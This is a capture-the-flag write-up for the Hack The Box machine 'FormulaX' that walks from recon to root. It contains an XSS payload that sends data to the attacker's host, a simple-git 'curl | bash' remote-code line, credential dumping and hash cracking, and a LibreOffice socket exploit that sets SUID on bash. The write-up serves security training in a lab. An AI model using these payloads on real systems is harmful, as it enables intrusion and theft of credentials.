HTB - FormulaX [Hard]
TCP Scan
> TARGET=10.10.11.6 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was /static/index.html
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 496A37014B10519386B2904D1B3086BE
|_http-cors: GET POST
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
web enum
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 02 Apr 2024 21:30:03 GMT
Content-Type: application/javascript; charset=UTF-8
Content-Length: 1237
Connection: close
X-Powered-By: Express
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Wed, 14 Jun 2023 10:45:06 GMT
ETag: W/"4d5-188b9825350"
// A function that handles the submit request of the user
const handleRequest = async () => {
// console.log(IP_ADDRESS_PORT + "Asd")
const email = await document.getElementById('email').value
const password = await document.getElementById('password').value
// console.log(email)
// console.log(password)
axios.post(`/user/api/login`, {
"email": email,
"password": password
}).then((response) => {
try {
// console.log(response.data)
// here we are gonna show the error
document.getElementById('error').innerHTML = response.data.Message
if (response.data.Status == "success") {
//redirect to the home page
localStorage.setItem("logged_in", "true");
window.location.href = `/restricted/home.html`;
} else if (response.data.Status == "admin") {
localStorage.setItem("logged_in", "admin");
window.location.href = `/admin/admin.html`;
}
} catch (err) {
alert("Something went Wrong")
}
// do whatever you want if console is [object object] then stringify the response
})
}
- After register and login, a chatbot is present. you can send a simple xss as poc, then enter
history
to make it execute
<img src="http://10.10.16.30?location="+document.location>
- tried the following payloads, but no callback
const script = document.createElement('script');
script.src = '/socket.io/socket.io.js';
document.head.appendChild(script);
script.addEventListener('load', function() {
const res = axios.get(`/user/api/chat`);
const socket = io('/',{withCredentials: true});
socket.on('message', (my_message) => {
fetch("http://10.10.16.30/?test=" + btoa(my_message))
});
});
<img src='http://10.10.16.30/x?1' onerror='eval(atob("base64_payload"));' />
- it turns out the chatbot is a rabbit hole, send xss payload on
/user/api/contact_us
and got callback this time:
curl http://10.10.11.6/user/api/contact_us -H "Content-Type: application/json" -H "Cookie: authorization=Bearer $TOKEN" -d '{"first_name":"sdf","last_name":"fsdf","message":"<img src=x onerror=\"eval(atob(`'$(cat e.js|base64 -w0)'`));\"/>"}'
- final payload in file
e.js
const ee = document.createElement('script');
ee.src = '/socket.io/socket.io.js';
document.head.appendChild(ee);
ee.addEventListener('load', function() {
const res = axios.get(`/user/api/chat`);
const s = io('/',{withCredentials: true});
s.on('message', (m) => {
fetch("http://10.10.16.30/?test=" + document.location);
})
});
- found location
http://chatbot.htb/admin/admin.html
- add entry to /etc/hosts
10.10.11.6 chatbot.htb
- subdomain enum
wfuzz -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://chatbot.htb/" -H "Host: FUZZ.chatbot.htb"
[x]
- Check the
document.documentElement.innerHTML
,/admin/admin.html
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="../static/index.css">
<link rel="stylesheet" href="./admin.css">
<title>Admin</title>
<script src="/socket.io/socket.io.js"></script><script src="/socket.io/socket.io.js"></script></head>
<body>
<center>
<h2>Admin Panel</h2>
<div class="login-page">
<div class="form">
<form class="login-form" action="javascript:search_message()" method="post">
<input type="text" placeholder="Search Messages" name="search" id="search" required="">
<button type="submit">Search</button>
<div style="margin-top: 4px;">
<label style="color: red;" id="error"> </label>
</div>
<p class="message">Logout From Account -> <a href="/static/index.html" onclick="redirect()">Logout</a></p>
</form>
</div>
</div>
<h2>User Messages</h2>
...
<script src="/scripts/axios.min.js"></script>
<script>
window.onload = function () {
get_messages();
};
const redirect = () => {
//localStorage.setItem("logged_in", "false");
axios.get(`/user/api/logout`).then(() => {
window.location.href = `/static/index.html`
})
};</script>
<script src="./admin.js"></script>
</body>
/admin/admin.js
const search_message = () => {
const searchTerm = document.getElementById("search").value
if (searchTerm) {
var found = window.find(searchTerm, false, false, true, false, true, false);
if (found) {
var selection = window.getSelection();
var range = selection.getRangeAt(0);
var rect = range.getBoundingClientRect();
window.scrollTo({
top: rect.top + window.pageYOffset,
behavior: "smooth"
});
} else {
alert("Text not found.");
}
}
}
const get_messages = () => {
const value = document.getElementById("search").value
axios.get(`/user/api/get_messages`).then((response) => {
try {
response.data.Message.forEach((message => {
console.log(message.firstname)
const div = document.createElement('div');
div.classList.add('new_container')
div.innerHTML = `
<div><label style="color: red;" id="firstname">${message.firstname} </label></div>
<div><label style="color: red;" id="lastname"> ${message.lastname}</label></div>
<div><label style="color: red;" id="message"> ${message.message}</label></div>
`
document.getElementById('big_container').appendChild(div)
}))
} catch (err) {
document.getElementById('error').innerHTML = response.data.Status
}
})
}
- go to the chatbot and type
history
, found the following
history
Hello, I am Admin.Testing the Chat Application
Write a script for dev-git-auto-update.chatbot.htb to work properly
Write a script to automate the auto-update
- Add subdomain to
/etc/hosts
10.10.11.6 dev-git-auto-update.chatbot.htb
foothold: dev-git-auto-update.chatbot.htb
- Found
simple-git v3.14
- setup a http server with an
index.html
file of the following content
- Then in the web, trigger it by
ext::sh -c curl% http://10.10.16.30/|bash
- enum
www-data@formulax:~/app/configuration$ cat connect_db.js
cat connect_db.js
import mongoose from "mongoose";
const connectDB= async(URL_DATABASE)=>{
try{
const DB_OPTIONS={
dbName : "testing"
}
mongoose.connect(URL_DATABASE,DB_OPTIONS)
console.log("Connected Successfully TO Database")
}catch(error){
console.log(`Error Connecting to the ERROR ${error}`);
}
}
export default connectDB
- login to mongo
> mongo
> use testing
switched to db testing
> show collections
messages
users
> db.users.find()
{ "_id" : ObjectId("648874de313b8717284f457c"), "name" : "admin", "email" : "admin@chatbot.htb", "password" : "$2b$10$VSrvhM/5YGM0uyCeEYf/TuvJzzTz.jDLVJ2QqtumdDoKGSa.6aIC.", "terms" : true, "value" : true, "authorization_token" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NDg4NzRkZTMxM2I4NzE3Mjg0ZjQ1N2MiLCJpYXQiOjE3MTIxMTc4OTZ9.v9bq1diFzIwY9RDM48tJldCmPQEzUs2GAxtiKQOhRlg", "__v" : 0 }
{ "_id" : ObjectId("648874de313b8717284f457d"), "name" : "frank_dorky", "email" : "frank_dorky@chatbot.htb", "password" : "$2b$10$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6", "terms" : true, "value" : true, "authorization_token" : " ", "__v" : 0 }
{ "_id" : ObjectId("660cd576b03a32659c2b64cd"), "name" : "test", "email" : "test@test.com", "password" : "$2b$10$umajCmN5nu1hCuoUeZ7fTeBzNgL3Tgs4QGoxMh/fvdnGS8YvIIh16", "terms" : true, "value" : false, "authorization_token" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NjBjZDU3NmIwM2EzMjY1OWMyYjY0Y2QiLCJpYXQiOjE3MTIxMTcxMTd9.DJCyWGBoG_88UZ39eQ4mCrHp7pnM-8b0bQFOUc42Qnw", "__v" : 0 }
- crack using
john
> john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)
1g 0:00:00:11 DONE (2024-04-03 17:20) 0.08382g/s 235.3p/s 235.3c/s 235.3C/s catcat..keyboard
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
- got
frank_dorky:manchesterunited
- login via ssh to get user flag
frank_dorky@formulax:~$ cat user.txt
1134bde4be9811148ddabbdd936ca4c2
pe
> netstat -lnput
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:27017 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8082 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8081 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:40257 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
udp 0 0 0.0.0.0:162 0.0.0.0:* -
udp6 0 0 :::162 :::* -
- there is an app on 3000, forward it to local and login ad frank
> ssh -L 3000:127.0.0.1:3000 frank_dorky@chatbot.htb
- the webapp is libreNMS, info can be found on
http://localhost:3000/about
- php code can be run in
/opt/librenms
frank_dorky@formulax:~$ cd /opt/librenms
frank_dorky@formulax:/opt/librenms$ ./validate.php
===========================================
Component | Version
--------- | -------
LibreNMS | 22.10.0 (2022-10-18T04:47:05+00:00)
DB Schema | 2022_09_03_091314_update_ports_adsl_table_with_defaults (246)
PHP | 8.1.2-1ubuntu2.14
Python | 3.10.12
Database | MariaDB 10.6.16-MariaDB-0ubuntu0.22.04.1
RRDTool | 1.7.2
SNMP | 5.9.1
===========================================
[OK] Installed from package; no Composer required
[FAIL] 'install_dir' config setting is not set correctly. [FIX] It should probably be set to: /opt/librenms
- download code
https://github.com/librenms/librenms/tree/21.10
./config_to_json.php
exposes config data
frank_dorky@formulax:/opt/librenms$ ./config_to_json.php
{..........,"db_host":"localhost","db_name":"librenms","db_user":"kai_relay","db_pass":"mychemicalformulaX","db_port":"3306","db_socket":""}
- obtained cred for
kai_relay:mychemicalformulaX
kai_relay@formulax:~$ ls
app automation
kai_relay@formulax:~$ sudo -l
Matching Defaults entries for kai_relay on forumlax:
env_reset, timestamp_timeout=0, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_reset, timestamp_timeout=0
User kai_relay may run the following commands on forumlax:
(ALL) NOPASSWD: /usr/bin/office.sh
kai_relay@formulax:~$ cat /usr/bin/office.sh
#!/bin/bash
/usr/bin/soffice --calc --accept="socket,host=localhost,port=2002;urp;" --norestore --nologo --nodefault --headless
kai_relay@formulax:~$ libreoffice --version
LibreOffice 7.3.7.2 30(Build:2)
- search for
/usr/bin/soffice --accept="socket,host=localhost,port=2002;urp;" exploit
found https://www.exploit-db.com/exploits/44564 - exploit
# sesison 1
sudo /usr/bin/office.sh
# session 2
kai_relay@formulax:~$ echo 'chmod +s /usr/bin/bash' > pe.sh
kai_relay@formulax:~$ chmod +x pe.sh
kai_relay@formulax:~$ wget http://10.10.16.30/46544.py -O 46544.py
--2024-04-03 04:49:22-- http://10.10.16.30/46544.py
Connecting to 10.10.16.30:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1120 (1.1K) [text/x-python]
Saving to: ‘46544.py’
46544.py 100%[=================================================================================================================>] 1.09K --.-KB/s in 0.04s
2024-04-03 04:49:22 (26.0 KB/s) - ‘46544.py’ saved [1120/1120]
kai_relay@formulax:~$ python3 46544.py --host localhost --port 2002
[+] Connecting to target...
[+] Connected to localhost
kai_relay@formulax:~$ ls -ls /usr/bin/bash
1364 -rwsr-sr-x 1 root root 1396520 Jan 6 2022 /usr/bin/bash
kai_relay@formulax:~$ bash -p
bash-5.1# cat /root/root.txt
74b7d9fd95de51b399c6f573b494a87a
Support meowmeow
If you find this article useful, please support: https://www.buymeacoffee.com/meowmeowattack